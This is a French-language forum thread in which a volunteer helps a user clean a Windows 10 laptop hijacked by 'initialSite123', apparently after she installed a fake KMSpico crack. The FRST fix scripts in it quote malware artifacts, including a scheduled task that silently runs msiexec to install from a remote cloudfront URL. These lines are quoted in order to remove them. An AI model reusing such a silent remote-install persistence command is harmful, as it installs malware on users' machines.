infecté par initialSite123

[mamiecool]

Bonjour,
Tout d'abord merci à hackinginterdit de m'avoir indiqué le bon endroit pour mon problème.
J'ai chopé un virus et plusieurs cheval de Troie, ces derniers supprimés par mon antivirus
- J'ai téléchargé Malwarebytes Anti-Malware (MBAM), AdwCleaner, junkwaremoval-tool, mais impossible de les installer même en tant qu'administrateur, message "contrôle de compte d'utilisateur - cette application a été bloquée pour votre protection"
- J'ai voulu revenir à une date antérieure mais là s'affiche le message suivant
"La restauration du système ne semble pas fonctionner correctement sur ce système. Accès refusé. (0x80070005)"
- J'ai désinstallé Firefox - et Edge après un long moment ne s'ouvre que sur "initialSite123", aussi j'utilise un autre PC pour vous écrire.
J'ai un pc portable Packard bell - window 10 version1607
je vous remercie grandement de votre aide.
Mamiecool en peine

[Malekal_morte]

Bonjour et bienvenue,

Suis le tutoriel FRST. ( prends le temps de lire attentivement - tout y est bien expliqué ).

Télécharge et lance le scan FRST, 3 rapports FRST seront générés :
* FRST.txt
* Shortcut.
* Additionnal.txt

Envoie ces 3 rapports sur le site http://pjjoint.malekal.com/ et en retour donne les 3 liens pjjoint qui mènent aux rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.

[mamiecool]

Merci pour votre réponse rapide
Voici les 3 liens
http://pjjoint.malekal.com/files.php?id ... 11i14t1313
http://pjjoint.malekal.com/files.php?id ... 7l12u12p11
http://pjjoint.malekal.com/files.php?id ... l11i8i7b13

[Malekal_morte]

Apparemment, tu as téléchargé un faux KMSpico en voulant cracker Office.
A lire : KMSpico et les trojans.

~~

Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

Ouvre le bloc-notes : Touche Windows + R,
Dans le champs "Exécuter", saisir notepad et OK.
Copie/Colle dedans ce qui suit :

Code : Tout sélectionner

CloseProcesses:
HKLM\...\RunOnce: [PACKARDBELL] => C:\WINDOWS\TEMP\gE339.tmp.exe [334336 2017-05-27] () <===== ATTENTION
HKLM\...\Providers\dsgan294: C:\Program Files (x86)\Nerksh Collector\local64spl.dll [308224 2017-05-25] ()
ShellExecuteHooks: Pas de nom - {27EF3030-3EBA-11E7-91E3-64006A5CFC23} - C:\Users\packard bell\AppData\Roaming\Vodetyjocing\Griles.dll -> Pas de fichier
CHR DefaultProfile: draqisedervidommamoty
CHR HomePage: draqisedervidommamoty -> hxxp://www.initialsite123.com/?z=608e7d413ee66555b9f9443g5z2t7w5m9z7w3e0obm&from=icb&uid=WDCXWD10JPVX-60JC3T0_WD-WXA1AB6R457XR457X&type=hp
CHR StartupUrls: draqisedervidommamoty -> "hxxp://www.initialsite123.com/?z=608e7d413ee66555b9f9443g5z2t7w5m9z7w3e0obm&from=icb&uid=WDCXWD10JPVX-60JC3T0_WD-WXA1AB6R457XR457X&type=hp"
CHR DefaultSearchURL: draqisedervidommamoty -> hxxp://www.mystarting123.com/search/index.php?z=5253aa13bff16a155332a9dg6zctewdm7zdtdeee3o&q={searchTerms}
CHR DefaultSearchKeyword: draqisedervidommamoty -> mystarting123
R2 Auhardwaregl; C:\Windows\SysWow64\Auhardwaregl.dll [468776 2017-05-25] ()
2017-05-25 23:49 - 2017-05-25 23:49 - 00000000 ____D C:\Program Files (x86)\MIO
2017-05-25 23:48 - 2017-05-26 20:23 - 00000000 ____D C:\Program Files (x86)\SNARE
2017-05-25 23:48 - 2017-05-25 23:48 - 00000000 ____D C:\Users\packard bell\AppData\Roaming\SNARER
2017-05-25 22:56 - 2017-05-26 03:22 - 00000000 ____D C:\ProgramData\WinCacheData
2017-05-25 22:53 - 2017-05-27 10:41 - 02815176 _____ C:\WINDOWS\system32\lanmamasterHelp.dll
2017-05-25 22:53 - 2017-05-25 22:53 - 02929768 _____ C:\WINDOWS\system32\Drivers\lanmamaster.sys
2017-05-25 22:47 - 2017-05-25 22:47 - 00000000 ____D C:\Program Files (x86)\Maoha
2017-05-25 22:46 - 2017-05-25 22:46 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YeaDesktop
2017-05-25 22:45 - 2017-05-25 22:45 - 00000000 ____D C:\Users\packard bell\AppData\Roaming\UCChannel
2017-05-25 22:44 - 2017-05-27 10:42 - 00000231 _____ C:\ServiceLog.txt
2017-05-25 22:44 - 2017-05-26 10:05 - 00000000 ____D C:\Program Files (x86)\WindowsTM
2017-05-25 22:44 - 2017-05-25 22:53 - 00000000 ____D C:\ProgramData\Cache
2017-05-25 22:44 - 2017-05-25 22:44 - 00468776 _____ C:\WINDOWS\SysWOW64\Auhardwaregl.dll
2017-05-25 22:44 - 2017-05-25 22:44 - 00210464 _____ C:\WINDOWS\system32\Drivers\Uefochubsrv.sys
2017-05-25 22:44 - 2017-05-25 22:44 - 00000000 ____D C:\Users\Public\Documents\XMUpdate
2017-05-25 22:44 - 2017-05-25 22:44 - 00000000 ____D C:\Users\packard bell\AppData\Roaming\ServerTest
2017-05-25 22:43 - 2017-05-26 09:56 - 00000000 ____D C:\Users\packard bell\AppData\Roaming\Vodetyjocing
2017-05-25 22:43 - 2017-05-25 22:44 - 00000000 ____D C:\Users\packard bell\AppData\Local\Conoward
2017-05-25 22:43 - 2017-05-25 22:43 - 00000000 ____D C:\Users\packard bell\AppData\Roaming\l4qx1x2yise
2017-05-25 22:43 - 2017-05-25 22:43 - 00000000 ____D C:\ProgramData\VideoMemoryDiagnostic
2017-05-25 22:43 - 2017-05-25 22:43 - 00000000 ____D C:\Program Files (x86)\Nerksh Collector
2017-05-25 10:58 - 2017-05-25 11:23 - 00000000 ____D C:\AdwCleaner
2017-05-26 20:57 - 2017-05-26 21:07 - 00004344 _____ C:\Users\packard bell\Desktop\ZHPCleaner.txt
2017-05-26 20:35 - 2017-05-26 21:07 - 00000000 ____D C:\Users\packard bell\AppData\Roaming\ZHP
2017-05-26 20:35 - 2017-05-26 20:35 - 00000938 _____ C:\Users\packard bell\Desktop\ZHPCleaner.lnk
2017-05-26 20:13 - 2017-05-26 20:08 - 02744320 _____ C:\Users\packard bell\Desktop\4ZHPCleaner.exe
2017-05-26 20:12 - 2017-05-26 20:10 - 01622528 _____ C:\Users\packard bell\Desktop\5ResetBrowser.exe
Task: {DA15D1EF-1D22-4460-8644-2A5370B3FB48} - System32\Tasks\Microsoft\Windows\DeviceSettings\Mikoingkawty => msiexec.exe /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=WDCXWD10JPVX-60JC3T0_WD-WXA1AB6R457XR457X&d=20170525 /q <==== ATTENTION
EmptyTemp:
RemoveProxy:
CreateRestorePoint:
Reboot:

Une fois, le texte collé dans le Bloc-notes,
Menu "Fichier" puis "Enregistrer sous",
A gauche, place toi sur le Bureau,
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

Relance FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire ( pas obligatoire )
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.


2°)
Réinitialise/Répare les navigateurs WEB concerné(s) par les problèmes :
* réparer Mozilla Firefox (premier paragraphe)
* réparer Google Chrome (premier paragraphe)
* Réinitialiser et réparer Internet Explorer

3°)
Procède à un nettoyage Malwarebytes Anti-Malware (MBAM ) version gratuite

[mamiecool]

voici le fichier
je continue le point 2 et 3
cordialement

[mamiecool]

j'ai tenté de réinitialiser et réparer Edge sans succés
j'ai installé et lancé le logiciel Zoek
Devant partir je laisse tout en suspend jusqu'à demain soir pour continuer
Cordialement et déjà merci infiniment pour votre aide
Mamiecool

[Malekal_morte]

ok,

Laisse tomber Zoek pour le moment.
Passe à Malwarebytes.

Après vois ce quel navigateur WEB initialsite123 reste.

[mamiecool]

Bonsoir, me voilà de retour avec mon problème

Essai installation Malwarebytes
Une fenêtre s’ouvre –
Cette application a été bloquée pour votre protection
Un administrateur vous a refusé l’exécution de cette application.
Pour plus d’informations, contactez l’administrateur
je crois que je n’ai plus la main sur le compte administrateur, que faire ?

essai en Mode sans échec
Lancement intallation MB3 – s’ouvre sur
1ère fenêtre : langue de l’assistant d’installation – ok –
2ème fenêtre : erreur – Runtime Error (at 49 :120) – Could not call proc.

J’ai fait Windows + R - %TEMP%
Ci-dessous copie de Setup Log 2017-05-28

2017-05-28 18:56:13.133 Log opened. (Time zone: UTC+02:00)
2017-05-28 18:56:13.133 Setup version: Inno Setup version 5.5.8 (u)
2017-05-28 18:56:13.133 Original Setup EXE: C:\Users\packard bell\Desktop\mb3-setup-consumer-3.1.2.1733-1.0.122-1.0.1976.exe
2017-05-28 18:56:13.133 Setup command line: /SL5="$D0038,62828010,119296,C:\Users\packard bell\Desktop\mb3-setup-consumer-3.1.2.1733-1.0.122-1.0.1976.exe"
2017-05-28 18:56:13.133 Windows version: 10.0.14393 (NT platform: Yes)
2017-05-28 18:56:13.133 64-bit Windows: Yes
2017-05-28 18:56:13.133 Processor architecture: x64
2017-05-28 18:56:13.133 User privileges: Administrative
2017-05-28 18:56:13.149 64-bit install mode: Yes
2017-05-28 18:57:43.773 Created temporary directory: C:\Users\PACKAR~1\AppData\Local\Temp\is-2EDV5.tmp
2017-05-28 18:57:43.773 Extracting temporary file: C:\Users\PACKAR~1\AppData\Local\Temp\is-2EDV5.tmp\suhlpr.dll
2017-05-28 18:57:44.101 InitializeSetup raised an exception (fatal).
2017-05-28 18:57:44.101 Exception message:
2017-05-28 18:57:44.101 Message box (OK):
Runtime Error (at 49:120):

Could not call proc.
2017-05-28 19:00:07.356 User chose OK.
2017-05-28 19:00:07.356 Deinitializing Setup.
2017-05-28 19:00:07.356 Log closed.

comme Navigateur je n'ai plus que celui de windows 10 "Edge"
cordialement
Mamiecool

[Malekal_morte]

voir la procédure donnée dans la page : Impossible d'installer Malwarebytes Anti-Malware (MBAM)

[mamiecool]

bonsoir
impossible d'ouvrir la page "404 Not Found"
Merci pour la suite
Mamiecool

[mamiecool]

Je crois que vous avez réussi à me supprimer "initialSite123"
pour MBAM j'ai trouvé la page mais à la fin du téléchargement il y a eu ce message
"la signature de ce fichier est endommagée ou n'est pas valide"
j'ai désactivé SmartScrenn ainsi que l'UAC - redémarrage, après un nouveau téléchargement le message est toujours le même -pour ADWCleaner "Un administrateur vous a refusé l’exécution de cette application"
j'ai également essayé en mode sans échec avec prise en charge réseau -AdwCleaner ok - mbam rien à faire
installation et lancement analyse avec une autre version mbam-setup 2.1.6.1022 - ci-joint le lien du fichier
http://pjjoint.malekal.com/files.php?id ... d6h8y11j10
Par contre la restauration système est revenue avec plusieurs points de restauration - est ce qu'il ne serait pas judicieux de tenter une restauration antérieure - je m'en remets à vos bons conseils.
Cordialement - Mamiecool

[mamiecool]

bonjour,
Une mamie un peu inquiète, pas de réponse à mon dernier message,
une petite précision - dans program files(x86), j'ai vu 3 dossiers bizarres "snare" "mio" "nirishitoch"- est ce que l'infection serait toujours là - pour l'instant je ne touche à rien - peux-tu encore m'aider .... merci par avance
Mamiecool

[Malekal_morte]

Tu peux les supprimer.
Refais un scan FRST et donne les nouveaux rapports via pjjoint.

[mamiecool]

voici les nouveaux rapports
http://pjjoint.malekal.com/files.php?id ... 11i12y6s12
http://pjjoint.malekal.com/files.php?id ... 15r10i14g8
http://pjjoint.malekal.com/files.php?id ... l5g11w5b12
cordialement
Mamiecool

[Malekal_morte]

Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

Ouvre le bloc-notes : Touche Windows + R,
Dans le champs "Exécuter", saisir notepad et OK.
Copie/Colle dedans ce qui suit :

Code : Tout sélectionner

CloseProcesses:
 HKLM\...\RunOnce: [PACKARDBELL] => C:\WINDOWS\TEMP\g2158.tmp.exe [307200 2017-05-29] () <===== ATTENTION 
C:\WINDOWS\TEMP\*.tmp.exe
EmptyTemp:
RemoveProxy:
CreateRestorePoint:
Reboot:

Une fois, le texte collé dans le Bloc-notes,
Menu "Fichier" puis "Enregistrer sous",
A gauche, place toi sur le Bureau,
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

Relance FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire ( pas obligatoire )
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.